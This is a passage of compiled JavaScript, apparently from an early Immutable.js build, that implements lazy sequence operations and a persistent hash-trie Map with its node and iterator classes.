= 0;\n\t return this._seq.__iterate((function(v) {\n\t return fn(v, iterations++, $__0);\n\t }), reverse);\n\t },\n\t __iterator: function(type, reverse) {\n\t var iterator = this._seq.__iterator(ITERATE_VALUES, reverse);\n\t var iterations = 0;\n\t return new Iterator((function() {\n\t var step = iterator.next();\n\t return step.done ? step : iteratorValue(type, iterations++, step.value, step);\n\t }));\n\t }\n\t}, {}, IndexedSequence);\n\tvar KeyedIndexedSequence = function KeyedIndexedSequence(indexedSeq) {\n\t this._seq = indexedSeq;\n\t this.length = indexedSeq.length;\n\t};\n\t($traceurRuntime.createClass)(KeyedIndexedSequence, {\n\t get: function(key, notSetValue) {\n\t return this._seq.get(key, notSetValue);\n\t },\n\t has: function(key) {\n\t return this._seq.has(key);\n\t },\n\t valueSeq: function() {\n\t return this._seq;\n\t },\n\t reverse: function() {\n\t var $__0 = this;\n\t var reversedSequence = reverseFactory(this, true);\n\t reversedSequence.valueSeq = (function() {\n\t return $__0._seq.reverse();\n\t });\n\t return reversedSequence;\n\t },\n\t map: function(mapper, context) {\n\t var $__0 = this;\n\t var mappedSequence = mapFactory(this, mapper, context);\n\t mappedSequence.valueSeq = (function() {\n\t return $__0._seq.map(mapper, context);\n\t });\n\t return mappedSequence;\n\t },\n\t cacheResult: function() {\n\t this._seq.cacheResult();\n\t this.length = this._seq.length;\n\t return this;\n\t },\n\t __iterate: function(fn, reverse) {\n\t var $__0 = this;\n\t var ii = reverse ? ensureLength(this) : 0;\n\t return this._seq.__iterate((function(v) {\n\t return fn(v, reverse ? --ii : ii++, $__0);\n\t }), reverse);\n\t },\n\t __iterator: function(type, reverse) {\n\t var iterator = this._seq.__iterator(ITERATE_VALUES, reverse);\n\t var ii = reverse ? ensureLength(this) : 0;\n\t return new Iterator((function() {\n\t var step = iterator.next();\n\t return step.done ? step : iteratorValue(type, reverse ? --ii : ii++, step.value, step);\n\t }));\n\t }\n\t}, {}, Sequence);\n\tvar FromEntriesSequence = function FromEntriesSequence(entriesSeq) {\n\t this._seq = entriesSeq;\n\t this.length = entriesSeq.length;\n\t};\n\t($traceurRuntime.createClass)(FromEntriesSequence, {\n\t entrySeq: function() {\n\t return this._seq;\n\t },\n\t cacheResult: function() {\n\t this._seq.cacheResult();\n\t this.length = this._seq.length;\n\t return this;\n\t },\n\t __iterate: function(fn, reverse) {\n\t var $__0 = this;\n\t return this._seq.__iterate((function(entry) {\n\t return entry && fn(entry[1], entry[0], $__0);\n\t }), reverse);\n\t },\n\t __iterator: function(type, reverse) {\n\t var iterator = this._seq.__iterator(ITERATE_VALUES, reverse);\n\t return new Iterator((function() {\n\t while (true) {\n\t var step = iterator.next();\n\t if (step.done) {\n\t return step;\n\t }\n\t var entry = step.value;\n\t if (entry) {\n\t return type === ITERATE_ENTRIES ? step : iteratorValue(type, entry[0], entry[1], step);\n\t }\n\t }\n\t }));\n\t }\n\t}, {}, Sequence);\n\tfunction flipFactory(sequence) {\n\t var flipSequence = sequence.__makeSequence();\n\t flipSequence.length = sequence.length;\n\t flipSequence.flip = (function() {\n\t return sequence;\n\t });\n\t flipSequence.reverse = function() {\n\t var reversedSequence = sequence.reverse.apply(this);\n\t reversedSequence.flip = (function() {\n\t return sequence.reverse();\n\t });\n\t return reversedSequence;\n\t };\n\t flipSequence.has = (function(key) {\n\t return sequence.contains(key);\n\t });\n\t flipSequence.contains = (function(key) {\n\t return sequence.has(key);\n\t });\n\t flipSequence.__iterateUncached = function(fn, reverse) {\n\t var $__0 = this;\n\t return sequence.__iterate((function(v, k) {\n\t return fn(k, v, $__0) !== false;\n\t }), reverse);\n\t };\n\t flipSequence.__iteratorUncached = function(type, reverse) {\n\t if (type === ITERATE_ENTRIES) {\n\t var iterator = sequence.__iterator(type, reverse);\n\t return new Iterator((function() {\n\t var step = iterator.next();\n\t if (!step.done) {\n\t var k = step.value[0];\n\t step.value[0] = step.value[1];\n\t step.value[1] = k;\n\t }\n\t return step;\n\t }));\n\t }\n\t return sequence.__iterator(type === ITERATE_VALUES ? ITERATE_KEYS : ITERATE_VALUES, reverse);\n\t };\n\t return flipSequence;\n\t}\n\tfunction mapFactory(sequence, mapper, context) {\n\t var mappedSequence = sequence.__makeSequence();\n\t mappedSequence.length = sequence.length;\n\t mappedSequence.has = (function(key) {\n\t return sequence.has(key);\n\t });\n\t mappedSequence.get = (function(key, notSetValue) {\n\t var v = sequence.get(key, NOT_SET);\n\t return v === NOT_SET ? notSetValue : mapper.call(context, v, key, sequence);\n\t });\n\t mappedSequence.__iterateUncached = function(fn, reverse) {\n\t var $__0 = this;\n\t return sequence.__iterate((function(v, k, c) {\n\t return fn(mapper.call(context, v, k, c), k, $__0) !== false;\n\t }), reverse);\n\t };\n\t mappedSequence.__iteratorUncached = function(type, reverse) {\n\t var iterator = sequence.__iterator(ITERATE_ENTRIES, reverse);\n\t return new Iterator((function() {\n\t var step = iterator.next();\n\t if (step.done) {\n\t return step;\n\t }\n\t var entry = step.value;\n\t var key = entry[0];\n\t return iteratorValue(type, key, mapper.call(context, entry[1], key, sequence), step);\n\t }));\n\t };\n\t return mappedSequence;\n\t}\n\tfunction reverseFactory(sequence, useKeys) {\n\t var reversedSequence = sequence.__makeSequence();\n\t reversedSequence.length = sequence.length;\n\t reversedSequence.reverse = (function() {\n\t return sequence;\n\t });\n\t reversedSequence.flip = function() {\n\t var flipSequence = sequence.flip.apply(this);\n\t flipSequence.reverse = (function() {\n\t return sequence.flip();\n\t });\n\t return flipSequence;\n\t };\n\t reversedSequence.get = (function(key, notSetValue) {\n\t return sequence.get(useKeys ? key : -1 - key, notSetValue);\n\t });\n\t reversedSequence.has = (function(key) {\n\t return sequence.has(useKeys ? key : -1 - key);\n\t });\n\t reversedSequence.contains = (function(value) {\n\t return sequence.contains(value);\n\t });\n\t reversedSequence.cacheResult = function() {\n\t sequence.cacheResult();\n\t this.length = sequence.length;\n\t return this;\n\t };\n\t reversedSequence.__iterate = function(fn, reverse) {\n\t var $__0 = this;\n\t return sequence.__iterate((function(v, k) {\n\t return fn(v, k, $__0);\n\t }), !reverse);\n\t };\n\t reversedSequence.__iterator = (function(type, reverse) {\n\t return sequence.__iterator(type, !reverse);\n\t });\n\t return reversedSequence;\n\t}\n\tfunction filterFactory(sequence, predicate, context, useKeys) {\n\t var filterSequence = sequence.__makeSequence();\n\t if (useKeys) {\n\t filterSequence.has = (function(key) {\n\t var v = sequence.get(key, NOT_SET);\n\t return v !== NOT_SET && !!predicate.call(context, v, key, sequence);\n\t });\n\t filterSequence.get = (function(key, notSetValue) {\n\t var v = sequence.get(key, NOT_SET);\n\t return v !== NOT_SET && predicate.call(context, v, key, sequence) ? v : notSetValue;\n\t });\n\t }\n\t filterSequence.__iterateUncached = function(fn, reverse) {\n\t var $__0 = this;\n\t var iterations = 0;\n\t sequence.__iterate((function(v, k, c) {\n\t if (predicate.call(context, v, k, c)) {\n\t iterations++;\n\t return fn(v, useKeys ? k : iterations - 1, $__0);\n\t }\n\t }), reverse);\n\t return iterations;\n\t };\n\t filterSequence.__iteratorUncached = function(type, reverse) {\n\t var iterator = sequence.__iterator(ITERATE_ENTRIES, reverse);\n\t var iterations = 0;\n\t return new Iterator((function() {\n\t while (true) {\n\t var step = iterator.next();\n\t if (step.done) {\n\t return step;\n\t }\n\t var entry = step.value;\n\t var key = entry[0];\n\t var value = entry[1];\n\t if (predicate.call(context, value, key, sequence)) {\n\t return iteratorValue(type, useKeys ? key : iterations++, value, step);\n\t }\n\t }\n\t }));\n\t };\n\t return filterSequence;\n\t}\n\tfunction groupByFactory(seq, grouper, context, useKeys) {\n\t var groupMap = {};\n\t var groups = [];\n\t seq.__iterate((function(v, k) {\n\t var g = grouper.call(context, v, k, seq);\n\t var h = hash(g);\n\t var e = useKeys ? [k, v] : v;\n\t if (!groupMap.hasOwnProperty(h)) {\n\t groupMap[h] = groups.length;\n\t groups.push([g, [e]]);\n\t } else {\n\t groups[groupMap[h]][1].push(e);\n\t }\n\t }));\n\t return Sequence(groups).fromEntrySeq().map(useKeys ? (function(group) {\n\t return Sequence(group).fromEntrySeq();\n\t }) : (function(group) {\n\t return Sequence(group);\n\t }));\n\t}\n\tfunction takeFactory(sequence, amount) {\n\t if (amount > sequence.length) {\n\t return sequence;\n\t }\n\t if (amount < 0) {\n\t amount = 0;\n\t }\n\t var takeSequence = sequence.__makeSequence();\n\t takeSequence.length = sequence.length && Math.min(sequence.length, amount);\n\t takeSequence.__iterateUncached = function(fn, reverse) {\n\t var $__0 = this;\n\t if (amount === 0) {\n\t return 0;\n\t }\n\t if (reverse) {\n\t return this.cacheResult().__iterate(fn, reverse);\n\t }\n\t var iterations = 0;\n\t sequence.__iterate((function(v, k) {\n\t return ++iterations && fn(v, k, $__0) !== false && iterations < amount;\n\t }));\n\t return iterations;\n\t };\n\t takeSequence.__iteratorUncached = function(type, reverse) {\n\t if (reverse) {\n\t return this.cacheResult().__iterator(type, reverse);\n\t }\n\t var iterator = amount && sequence.__iterator(type, reverse);\n\t var iterations = 0;\n\t return new Iterator((function() {\n\t if (iterations++ > amount) {\n\t return iteratorDone();\n\t }\n\t return iterator.next();\n\t }));\n\t };\n\t return takeSequence;\n\t}\n\tfunction takeWhileFactory(sequence, predicate, context) {\n\t var takeSequence = sequence.__makeSequence();\n\t takeSequence.__iterateUncached = function(fn, reverse) {\n\t var $__0 = this;\n\t if (reverse) {\n\t return this.cacheResult().__iterate(fn, reverse);\n\t }\n\t var iterations = 0;\n\t sequence.__iterate((function(v, k, c) {\n\t return predicate.call(context, v, k, c) && ++iterations && fn(v, k, $__0);\n\t }));\n\t return iterations;\n\t };\n\t takeSequence.__iteratorUncached = function(type, reverse) {\n\t var $__0 = this;\n\t if (reverse) {\n\t return this.cacheResult().__iterator(type, reverse);\n\t }\n\t var iterator = sequence.__iterator(ITERATE_ENTRIES, reverse);\n\t var iterating = true;\n\t return new Iterator((function() {\n\t if (!iterating) {\n\t return iteratorDone();\n\t }\n\t var step = iterator.next();\n\t if (step.done) {\n\t return step;\n\t }\n\t var entry = step.value;\n\t var k = entry[0];\n\t var v = entry[1];\n\t if (!predicate.call(context, v, k, $__0)) {\n\t iterating = false;\n\t return iteratorDone();\n\t }\n\t return type === ITERATE_ENTRIES ? step : iteratorValue(type, k, v, step);\n\t }));\n\t };\n\t return takeSequence;\n\t}\n\tfunction skipFactory(sequence, amount, useKeys) {\n\t if (amount <= 0) {\n\t return sequence;\n\t }\n\t var skipSequence = sequence.__makeSequence();\n\t skipSequence.length = sequence.length && Math.max(0, sequence.length - amount);\n\t skipSequence.__iterateUncached = function(fn, reverse) {\n\t var $__0 = this;\n\t if (reverse) {\n\t return this.cacheResult().__iterate(fn, reverse);\n\t }\n\t var skipped = 0;\n\t var isSkipping = true;\n\t var iterations = 0;\n\t sequence.__iterate((function(v, k) {\n\t if (!(isSkipping && (isSkipping = skipped++ < amount))) {\n\t iterations++;\n\t return fn(v, useKeys ? k : iterations - 1, $__0);\n\t }\n\t }));\n\t return iterations;\n\t };\n\t skipSequence.__iteratorUncached = function(type, reverse) {\n\t if (reverse) {\n\t return this.cacheResult().__iterator(type, reverse);\n\t }\n\t var iterator = amount && sequence.__iterator(type, reverse);\n\t var skipped = 0;\n\t var iterations = 0;\n\t return new Iterator((function() {\n\t while (skipped < amount) {\n\t skipped++;\n\t iterator.next();\n\t }\n\t var step = iterator.next();\n\t if (useKeys || type === ITERATE_VALUES) {\n\t return step;\n\t } else if (type === ITERATE_KEYS) {\n\t return iteratorValue(type, iterations++, null, step);\n\t } else {\n\t return iteratorValue(type, iterations++, step.value[1], step);\n\t }\n\t }));\n\t };\n\t return skipSequence;\n\t}\n\tfunction skipWhileFactory(sequence, predicate, context, useKeys) {\n\t var skipSequence = sequence.__makeSequence();\n\t skipSequence.__iterateUncached = function(fn, reverse) {\n\t var $__0 = this;\n\t if (reverse) {\n\t return this.cacheResult().__iterate(fn, reverse);\n\t }\n\t var isSkipping = true;\n\t var iterations = 0;\n\t sequence.__iterate((function(v, k, c) {\n\t if (!(isSkipping && (isSkipping = predicate.call(context, v, k, c)))) {\n\t iterations++;\n\t return fn(v, useKeys ? k : iterations - 1, $__0);\n\t }\n\t }));\n\t return iterations;\n\t };\n\t skipSequence.__iteratorUncached = function(type, reverse) {\n\t var $__0 = this;\n\t if (reverse) {\n\t return this.cacheResult().__iterator(type, reverse);\n\t }\n\t var iterator = sequence.__iterator(ITERATE_ENTRIES, reverse);\n\t var skipping = true;\n\t var iterations = 0;\n\t return new Iterator((function() {\n\t var step,\n\t k,\n\t v;\n\t do {\n\t step = iterator.next();\n\t if (step.done) {\n\t if (useKeys || type === ITERATE_VALUES) {\n\t return step;\n\t } else if (type === ITERATE_KEYS) {\n\t return iteratorValue(type, iterations++, null, step);\n\t } else {\n\t return iteratorValue(type, iterations++, step.value[1], step);\n\t }\n\t }\n\t var entry = step.value;\n\t k = entry[0];\n\t v = entry[1];\n\t skipping && (skipping = predicate.call(context, v, k, $__0));\n\t } while (skipping);\n\t return type === ITERATE_ENTRIES ? step : iteratorValue(type, k, v, step);\n\t }));\n\t };\n\t return skipSequence;\n\t}\n\tfunction concatFactory(sequence, values, useKeys) {\n\t var sequences = [sequence].concat(values);\n\t var concatSequence = Sequence(sequences);\n\t if (useKeys) {\n\t concatSequence = concatSequence.toKeyedSeq();\n\t }\n\t concatSequence = concatSequence.flatMap(valueMapper);\n\t concatSequence.length = sequences.reduce((function(sum, seq) {\n\t if (sum !== undefined) {\n\t var len = Sequence(seq).length;\n\t if (len != null) {\n\t return sum + len;\n\t }\n\t }\n\t }), 0);\n\t return concatSequence;\n\t}\n\tfunction flattenFactory(sequence, depth, useKeys) {\n\t var flatSequence = sequence.__makeSequence();\n\t flatSequence.__iterateUncached = function(fn, reverse) {\n\t var iterations = 0;\n\t var stopped = false;\n\t function flatDeep(seq, currentDepth) {\n\t var $__0 = this;\n\t seq.__iterate((function(v, k) {\n\t if ((!depth || currentDepth < depth) && v instanceof Sequence) {\n\t flatDeep(v, currentDepth + 1);\n\t } else if (fn(v, useKeys ? k : iterations++, $__0) === false) {\n\t stopped = true;\n\t }\n\t return !stopped;\n\t }), reverse);\n\t }\n\t flatDeep(sequence, 0);\n\t return iterations;\n\t };\n\t flatSequence.__iteratorUncached = function(type, reverse) {\n\t var iterator = sequence.__iterator(type, reverse);\n\t var stack = [];\n\t var iterations = 0;\n\t return new Iterator((function() {\n\t while (iterator) {\n\t var step = iterator.next();\n\t if (step.done !== false) {\n\t iterator = stack.pop();\n\t continue;\n\t }\n\t var value = step.value;\n\t if (type === ITERATE_ENTRIES) {\n\t value = value[1];\n\t }\n\t if ((!depth || stack.length < depth) && value instanceof Sequence) {\n\t stack.push(iterator);\n\t iterator = value.__iterator(type, reverse);\n\t } else {\n\t return useKeys ? step : iteratorValue(type, iterations++, value, step);\n\t }\n\t }\n\t return iteratorDone();\n\t }));\n\t };\n\t return flatSequence;\n\t}\n\tfunction interposeFactory(sequence, separator) {\n\t var interposedSequence = sequence.__makeSequence();\n\t interposedSequence.length = sequence.length && sequence.length * 2 - 1;\n\t interposedSequence.__iterateUncached = function(fn, reverse) {\n\t var $__0 = this;\n\t var iterations = 0;\n\t sequence.__iterate((function(v, k) {\n\t return (!iterations || fn(separator, iterations++, $__0) !== false) && fn(v, iterations++, $__0) !== false;\n\t }), reverse);\n\t return iterations;\n\t };\n\t interposedSequence.__iteratorUncached = function(type, reverse) {\n\t var iterator = sequence.__iterator(ITERATE_VALUES, reverse);\n\t var iterations = 0;\n\t var step;\n\t return new Iterator((function() {\n\t if (!step || iterations % 2) {\n\t step = iterator.next();\n\t if (step.done) {\n\t return step;\n\t }\n\t }\n\t return iterations % 2 ? iteratorValue(type, iterations++, separator) : iteratorValue(type, iterations++, step.value, step);\n\t }));\n\t };\n\t return interposedSequence;\n\t}\n\tvar Map = function Map(sequence) {\n\t var map = $Map.empty();\n\t return sequence ? sequence.constructor === $Map ? sequence : map.merge(sequence) : map;\n\t};\n\tvar $Map = Map;\n\t($traceurRuntime.createClass)(Map, {\n\t toString: function() {\n\t return this.__toString('Map {', '}');\n\t },\n\t get: function(k, notSetValue) {\n\t return this._root ? this._root.get(0, hash(k), k, notSetValue) : notSetValue;\n\t },\n\t set: function(k, v) {\n\t return updateMap(this, k, v);\n\t },\n\t remove: function(k) {\n\t return updateMap(this, k, NOT_SET);\n\t },\n\t update: function(k, notSetValue, updater) {\n\t return arguments.length === 1 ? this.updateIn([], undefined, k) : this.updateIn([k], notSetValue, updater);\n\t },\n\t updateIn: function(keyPath, notSetValue, updater) {\n\t if (!updater) {\n\t updater = notSetValue;\n\t notSetValue = undefined;\n\t }\n\t return updateInDeepMap(this, keyPath, notSetValue, updater, 0);\n\t },\n\t clear: function() {\n\t if (this.length === 0) {\n\t return this;\n\t }\n\t if (this.__ownerID) {\n\t this.length = 0;\n\t this._root = null;\n\t this.__hash = undefined;\n\t this.__altered = true;\n\t return this;\n\t }\n\t return $Map.empty();\n\t },\n\t merge: function() {\n\t return mergeIntoMapWith(this, null, arguments);\n\t },\n\t mergeWith: function(merger) {\n\t for (var seqs = [],\n\t $__4 = 1; $__4 < arguments.length; $__4++)\n\t seqs[$__4 - 1] = arguments[$__4];\n\t return mergeIntoMapWith(this, merger, seqs);\n\t },\n\t mergeDeep: function() {\n\t return mergeIntoMapWith(this, deepMerger(null), arguments);\n\t },\n\t mergeDeepWith: function(merger) {\n\t for (var seqs = [],\n\t $__5 = 1; $__5 < arguments.length; $__5++)\n\t seqs[$__5 - 1] = arguments[$__5];\n\t return mergeIntoMapWith(this, deepMerger(merger), seqs);\n\t },\n\t cursor: function(maybeKeyPath, onChange) {\n\t var keyPath = arguments.length === 0 || typeof maybeKeyPath === 'function' && (onChange = maybeKeyPath) ? [] : Array.isArray(maybeKeyPath) ? maybeKeyPath : [maybeKeyPath];\n\t return makeCursor(this, keyPath, onChange);\n\t },\n\t withMutations: function(fn) {\n\t var mutable = this.asMutable();\n\t fn(mutable);\n\t return mutable.wasAltered() ? mutable.__ensureOwner(this.__ownerID) : this;\n\t },\n\t asMutable: function() {\n\t return this.__ownerID ? this : this.__ensureOwner(new OwnerID());\n\t },\n\t asImmutable: function() {\n\t return this.__ensureOwner();\n\t },\n\t wasAltered: function() {\n\t return this.__altered;\n\t },\n\t __iterator: function(type, reverse) {\n\t return new MapIterator(this, type, reverse);\n\t },\n\t __iterate: function(fn, reverse) {\n\t var $__0 = this;\n\t var iterations = 0;\n\t this._root && this._root.iterate((function(entry) {\n\t iterations++;\n\t return fn(entry[1], entry[0], $__0);\n\t }), reverse);\n\t return iterations;\n\t },\n\t __ensureOwner: function(ownerID) {\n\t if (ownerID === this.__ownerID) {\n\t return this;\n\t }\n\t if (!ownerID) {\n\t this.__ownerID = ownerID;\n\t this.__altered = false;\n\t return this;\n\t }\n\t return makeMap(this.length, this._root, ownerID, this.__hash);\n\t }\n\t}, {empty: function() {\n\t return EMPTY_MAP || (EMPTY_MAP = makeMap(0));\n\t }}, Sequence);\n\tvar MapPrototype = Map.prototype;\n\tMapPrototype[DELETE] = MapPrototype.remove;\n\tMap.from = Map;\n\tvar BitmapIndexedNode = function BitmapIndexedNode(ownerID, bitmap, nodes) {\n\t this.ownerID = ownerID;\n\t this.bitmap = bitmap;\n\t this.nodes = nodes;\n\t};\n\tvar $BitmapIndexedNode = BitmapIndexedNode;\n\t($traceurRuntime.createClass)(BitmapIndexedNode, {\n\t get: function(shift, hash, key, notSetValue) {\n\t var bit = (1 << ((shift === 0 ? hash : hash >>> shift) & MASK));\n\t var bitmap = this.bitmap;\n\t return (bitmap & bit) === 0 ? notSetValue : this.nodes[popCount(bitmap & (bit - 1))].get(shift + SHIFT, hash, key, notSetValue);\n\t },\n\t update: function(ownerID, shift, hash, key, value, didChangeLength, didAlter) {\n\t var hashFrag = (shift === 0 ? hash : hash >>> shift) & MASK;\n\t var bit = 1 << hashFrag;\n\t var bitmap = this.bitmap;\n\t var exists = (bitmap & bit) !== 0;\n\t if (!exists && value === NOT_SET) {\n\t return this;\n\t }\n\t var idx = popCount(bitmap & (bit - 1));\n\t var nodes = this.nodes;\n\t var node = exists ? nodes[idx] : null;\n\t var newNode = updateNode(node, ownerID, shift + SHIFT, hash, key, value, didChangeLength, didAlter);\n\t if (newNode === node) {\n\t return this;\n\t }\n\t if (!exists && newNode && nodes.length >= MAX_BITMAP_SIZE) {\n\t return expandNodes(ownerID, nodes, bitmap, hashFrag, newNode);\n\t }\n\t if (exists && !newNode && nodes.length === 2 && isLeafNode(nodes[idx ^ 1])) {\n\t return nodes[idx ^ 1];\n\t }\n\t if (exists && newNode && nodes.length === 1 && isLeafNode(newNode)) {\n\t return newNode;\n\t }\n\t var isEditable = ownerID && ownerID === this.ownerID;\n\t var newBitmap = exists ? newNode ? bitmap : bitmap ^ bit : bitmap | bit;\n\t var newNodes = exists ? newNode ? setIn(nodes, idx, newNode, isEditable) : spliceOut(nodes, idx, isEditable) : spliceIn(nodes, idx, newNode, isEditable);\n\t if (isEditable) {\n\t this.bitmap = newBitmap;\n\t this.nodes = newNodes;\n\t return this;\n\t }\n\t return new $BitmapIndexedNode(ownerID, newBitmap, newNodes);\n\t },\n\t iterate: function(fn, reverse) {\n\t var nodes = this.nodes;\n\t for (var ii = 0,\n\t maxIndex = nodes.length - 1; ii <= maxIndex; ii++) {\n\t if (nodes[reverse ? maxIndex - ii : ii].iterate(fn, reverse) === false) {\n\t return false;\n\t }\n\t }\n\t }\n\t}, {});\n\tvar ArrayNode = function ArrayNode(ownerID, count, nodes) {\n\t this.ownerID = ownerID;\n\t this.count = count;\n\t this.nodes = nodes;\n\t};\n\tvar $ArrayNode = ArrayNode;\n\t($traceurRuntime.createClass)(ArrayNode, {\n\t get: function(shift, hash, key, notSetValue) {\n\t var idx = (shift === 0 ? hash : hash >>> shift) & MASK;\n\t var node = this.nodes[idx];\n\t return node ? node.get(shift + SHIFT, hash, key, notSetValue) : notSetValue;\n\t },\n\t update: function(ownerID, shift, hash, key, value, didChangeLength, didAlter) {\n\t var idx = (shift === 0 ? hash : hash >>> shift) & MASK;\n\t var removed = value === NOT_SET;\n\t var nodes = this.nodes;\n\t var node = nodes[idx];\n\t if (removed && !node) {\n\t return this;\n\t }\n\t var newNode = updateNode(node, ownerID, shift + SHIFT, hash, key, value, didChangeLength, didAlter);\n\t if (newNode === node) {\n\t return this;\n\t }\n\t var newCount = this.count;\n\t if (!node) {\n\t newCount++;\n\t } else if (!newNode) {\n\t newCount--;\n\t if (newCount < MIN_ARRAY_SIZE) {\n\t return packNodes(ownerID, nodes, newCount, idx);\n\t }\n\t }\n\t var isEditable = ownerID && ownerID === this.ownerID;\n\t var newNodes = setIn(nodes, idx, newNode, isEditable);\n\t if (isEditable) {\n\t this.count = newCount;\n\t this.nodes = newNodes;\n\t return this;\n\t }\n\t return new $ArrayNode(ownerID, newCount, newNodes);\n\t },\n\t iterate: function(fn, reverse) {\n\t var nodes = this.nodes;\n\t for (var ii = 0,\n\t maxIndex = nodes.length - 1; ii <= maxIndex; ii++) {\n\t var node = nodes[reverse ? maxIndex - ii : ii];\n\t if (node && node.iterate(fn, reverse) === false) {\n\t return false;\n\t }\n\t }\n\t }\n\t}, {});\n\tvar HashCollisionNode = function HashCollisionNode(ownerID, hash, entries) {\n\t this.ownerID = ownerID;\n\t this.hash = hash;\n\t this.entries = entries;\n\t};\n\tvar $HashCollisionNode = HashCollisionNode;\n\t($traceurRuntime.createClass)(HashCollisionNode, {\n\t get: function(shift, hash, key, notSetValue) {\n\t var entries = this.entries;\n\t for (var ii = 0,\n\t len = entries.length; ii < len; ii++) {\n\t if (is(key, entries[ii][0])) {\n\t return entries[ii][1];\n\t }\n\t }\n\t return notSetValue;\n\t },\n\t update: function(ownerID, shift, hash, key, value, didChangeLength, didAlter) {\n\t var removed = value === NOT_SET;\n\t if (hash !== this.hash) {\n\t if (removed) {\n\t return this;\n\t }\n\t SetRef(didAlter);\n\t SetRef(didChangeLength);\n\t return mergeIntoNode(this, ownerID, shift, hash, [key, value]);\n\t }\n\t var entries = this.entries;\n\t var idx = 0;\n\t for (var len = entries.length; idx < len; idx++) {\n\t if (is(key, entries[idx][0])) {\n\t break;\n\t }\n\t }\n\t var exists = idx < len;\n\t if (removed && !exists) {\n\t return this;\n\t }\n\t SetRef(didAlter);\n\t (removed || !exists) && SetRef(didChangeLength);\n\t if (removed && len === 2) {\n\t return new ValueNode(ownerID, this.hash, entries[idx ^ 1]);\n\t }\n\t var isEditable = ownerID && ownerID === this.ownerID;\n\t var newEntries = isEditable ? entries : arrCopy(entries);\n\t if (exists) {\n\t if (removed) {\n\t idx === len - 1 ? newEntries.pop() : (newEntries[idx] = newEntries.pop());\n\t } else {\n\t newEntries[idx] = [key, value];\n\t }\n\t } else {\n\t newEntries.push([key, value]);\n\t }\n\t if (isEditable) {\n\t this.entries = newEntries;\n\t return this;\n\t }\n\t return new $HashCollisionNode(ownerID, this.hash, newEntries);\n\t },\n\t iterate: function(fn, reverse) {\n\t var entries = this.entries;\n\t for (var ii = 0,\n\t maxIndex = entries.length - 1; ii <= maxIndex; ii++) {\n\t if (fn(entries[reverse ? maxIndex - ii : ii]) === false) {\n\t return false;\n\t }\n\t }\n\t }\n\t}, {});\n\tvar ValueNode = function ValueNode(ownerID, hash, entry) {\n\t this.ownerID = ownerID;\n\t this.hash = hash;\n\t this.entry = entry;\n\t};\n\tvar $ValueNode = ValueNode;\n\t($traceurRuntime.createClass)(ValueNode, {\n\t get: function(shift, hash, key, notSetValue) {\n\t return is(key, this.entry[0]) ? this.entry[1] : notSetValue;\n\t },\n\t update: function(ownerID, shift, hash, key, value, didChangeLength, didAlter) {\n\t var removed = value === NOT_SET;\n\t var keyMatch = is(key, this.entry[0]);\n\t if (keyMatch ? value === this.entry[1] : removed) {\n\t return this;\n\t }\n\t SetRef(didAlter);\n\t if (removed) {\n\t SetRef(didChangeLength);\n\t return null;\n\t }\n\t if (keyMatch) {\n\t if (ownerID && ownerID === this.ownerID) {\n\t this.entry[1] = value;\n\t return this;\n\t }\n\t return new $ValueNode(ownerID, hash, [key, value]);\n\t }\n\t SetRef(didChangeLength);\n\t return mergeIntoNode(this, ownerID, shift, hash, [key, value]);\n\t },\n\t iterate: function(fn) {\n\t return fn(this.entry);\n\t }\n\t}, {});\n\tvar MapIterator = function MapIterator(map, type, reverse) {\n\t this._type = type;\n\t this._reverse = reverse;\n\t this._stack = map._root && mapIteratorFrame(map._root);\n\t};\n\t($traceurRuntime.createClass)(MapIterator, {next: function() {\n\t var type = this._type;\n\t var stack = this._stack;\n\t while (stack) {\n\t var node = stack.node;\n\t var index = stack.index++;\n\t var maxIndex;\n\t if (node.entry) {\n\t if (index === 0) {\n\t return mapIteratorValue(type, node.entry);\n\t }\n\t } else if (node.entries) {\n\t maxIndex = node.entries.length - 1;\n\t if (index <= maxIndex) {\n\t return mapIteratorValue(type, node.entries[this._reverse ? maxIndex - index : index]);\n\t }\n\t } else {\n\t maxIndex = node.nodes.length - 1;\n\t if (index <= maxIndex) {\n\t var subNode = node.nodes[this._reverse ? maxIndex - index : index];\n\t if (subNode) {\n\t if (subNode.entry) {\n\t return mapIteratorValue(type, subNode.entry);\n\t }\n\t stack = this._stack = mapIteratorFrame(subNode, stack);\n\t }\n\t continue;\n\t }\n\t }\n\t stack = this._stack = this._stack.__prev;\n\t }\n\t return iteratorDone();\n\t }}, {}, Iterator);\n\tfunction mapIteratorValue(type, entry) {\n\t return iteratorValue(type, entry[0], entry[1]);\n\t}\n\tfunction mapIteratorFrame(node, prev) {\n\t return {\n\t node: node,\n\t index: 0,\n\t __prev: prev\n\t };\n\t}\n\tfunction makeMap(length, root, ownerID, hash) {\n\t var map = Object.create(MapPrototype);\n\t map.length = length;\n\t map._root = root;\n\t map.__ownerID = ownerID;\n\t map.__hash = hash;\n\t map.__altered = false;\n\t return map;\n\t}\n\tfunction updateMap(map, k, v) {\n\t var didChangeLength = MakeRef(CHANGE_LENGTH);\n\t var didAlter = MakeRef(DID_ALTER);\n\t var newRoot = updateNode(map._root, map.__ownerID, 0, hash(k), k, v, didChangeLength, didAlter);\n\t if (!didAlter.value) {\n\t return map;\n\t }\n\t var newLength = map.length + (didChangeLength.value ? v === NOT_SET ? -1 : 1 : 0);\n\t if (map.__ownerID) {\n\t map.length = newLength;\n\t map._root = newRoot;\n\t map.__hash = undefined;\n\t map.__altered = true;\n\t return map;\n\t }\n\t return newRoot ? makeMap(newLength, newRoot) : Map.empty();\n\t}\n\tfunction updateNode(node, ownerID, shift, hash, key, value, didChangeLength, didAlter) {\n\t if (!node) {\n\t if (value === NOT_SET) {\n\t return node;\n\t }\n\t SetRef(didAlter);\n\t SetRef(didChangeLength);\n\t return new ValueNode(ownerID, hash, [key, value]);\n\t }\n\t return node.update(ownerID, shift, hash, key, value, didChangeLength, didAlter);\n\t}\n\tfunction isLeafNode(node) {\n\t return node.constructor === ValueNode || node.constructor === HashCollisionNode;\n\t}\n\tfunction mergeIntoNode(node, ownerID, shift, hash, entry) {\n\t if (node.hash === hash) {\n\t return new HashCollisionNode(ownerID, hash, [node.entry, entry]);\n\t }\n\t var idx1 = (shift === 0 ? node.hash : node.hash >>> shift) & MASK;\n\t var idx2 = (shift === 0 ? hash : hash >>> shift) & MASK;\n\t var newNode;\n\t var nodes = idx1 === idx2 ? [mergeIntoNode(node, ownerID, shift + SHIFT, hash, entry)] : ((newNode = new ValueNode(ownerID, hash, entry)), idx1 < idx2 ? [node, newNode] : [newNode, node]);\n\t return new BitmapIndexedNode(ownerID, (1 << idx1) | (1 << idx2), nodes);\n\t}\n\tfunction packNodes(ownerID, nodes, count, excluding) {\n\t 